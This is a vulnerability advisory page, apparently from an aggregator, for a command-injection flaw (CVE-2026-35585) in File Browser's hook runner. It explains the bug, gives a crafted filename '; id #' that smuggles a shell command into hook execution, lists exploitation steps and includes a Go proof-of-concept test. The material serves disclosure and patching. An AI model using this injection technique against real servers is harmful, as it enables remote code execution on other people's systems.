File Browser has a Command Injection via Hook Runner
> [!NOTE]
> This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
>
> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
runner/runner.goRunner.execRunner.exec expands template variables inside hook command strings using os.Expand:
```go
// runner/runner.go
envMapping := func(key string) string {
switch key {
case "FILE":
return path // attacker-controlled filename
case "USERNAME":
return username // attacker-controlled username
// ...
}
}
for i, arg := range command {
if i == 0 { continue }
command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}
```
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
```
sh -c "echo created $FILE"
```
...and an attacker creates a file named ; id #, the variable expansion produces:
```
sh -c "echo created /path/to/; id #"
```
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.
1. Admin configures an after_upload hook: sh -c "echo created $FILE".
2. The attacker (authenticated user with upload permission) uploads a file named ; id #.
3. The upload succeeds and the hook fires automatically.
4. The server executes:
```sh
sh -c "echo created /uploads/; id #"
```
5. The id command runs, confirming RCE.
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
```go
package runner
import (
"os"
"testing"
"github.com/filebrowser/filebrowser/v2/settings"
)
func TestPoC_FileHookInjection(t *testing.T) {
// Simulate an admin-configured shell-based hook
r := &Runner{
Enabled: true,
Settings: &settings.Settings{
Shell: []string{"sh", "-c"},
Commands: map[string][]string{
"after_upload": {"echo Uploaded $FILE"},
},
},
}
// Malicious filename crafted by the attacker
maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go
raw := r.Commands["after_upload"][0]
command, _, _ := ParseCommand(r.Settings, raw)
envMapping := func(key string) string {
if key == "FILE" {
return maliciousFilename
}
return os.Getenv(key)
}
for i, arg := range command {
if i == 0 {
continue
}
// os.Expand substitutes $FILE with the attacker-controlled filename —
// no escaping is applied, so shell metacharacters pass through unchanged.
command[i] = os.Expand(arg, envMapping)
}
// The resulting command argument is the injected shell script:
// sh -c "echo Uploaded /tmp/safe; id #"
expectedArg := "echo Uploaded /tmp/safe; id #"
if command[2] != expectedArg {
t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
}
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}
```
This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVE-2026-35585 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.
CVE-2026-35585 is recorded against 3 packages.
Published on 7 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
github.com
github.com
github.com
filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-78: OS Command Injection) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| filebrowser | 2.0.0 | 2.63.1 |
| github.com/filebrowser/filebrowser | — | — |
| github.com/filebrowser/filebrowser/v2 | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-35585 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-35585 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.